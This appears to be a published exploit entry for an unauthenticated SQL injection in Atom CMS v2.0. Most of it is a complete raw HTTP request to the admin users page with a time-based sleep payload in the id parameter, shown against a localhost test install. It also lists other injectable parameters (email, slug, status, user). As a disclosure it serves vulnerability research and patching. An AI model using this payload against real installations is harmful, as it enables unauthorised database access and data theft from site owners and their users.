Atom CMS v2.0 - SQL Injection (no auth) Vulnerability

# Exploit Title: Atom CMS v2.0 - SQL Injection (no auth)
# Exploit Author: Hubert Wojciechowski
# Contact Author: [email protected]
# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS
# Software Link: https://github.com/thedigicraft/Atom.CMS
# Version: 2.0
# Tested on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

## Example
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Param: id
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Req
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POST /Atom.CMS-master/admin/index.php?page=users&id=(select*from(select(sleep(10)))a) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/Atom.CMS-master/admin/index.php?page=users&id=1
Cookie: phpwcmsBELang=en; homeMaxCntParts=10; homeCntType=24; PHPSESSID=k3a5d2usjb00cd7hpoii0qgj75
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

first=Alan2n&last=Quandt&email=alan%40alan.com&status=1&password=&passwordv=&submitted=1&id=1
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Response wait 10 sec
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Other URL and params
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/Atom.CMS-master/admin/index.php [email]
/Atom.CMS-master/admin/index.php [id]
/Atom.CMS-master/admin/index.php [slug]
/Atom.CMS-master/admin/index.php [status]
/Atom.CMS-master/admin/index.php [user]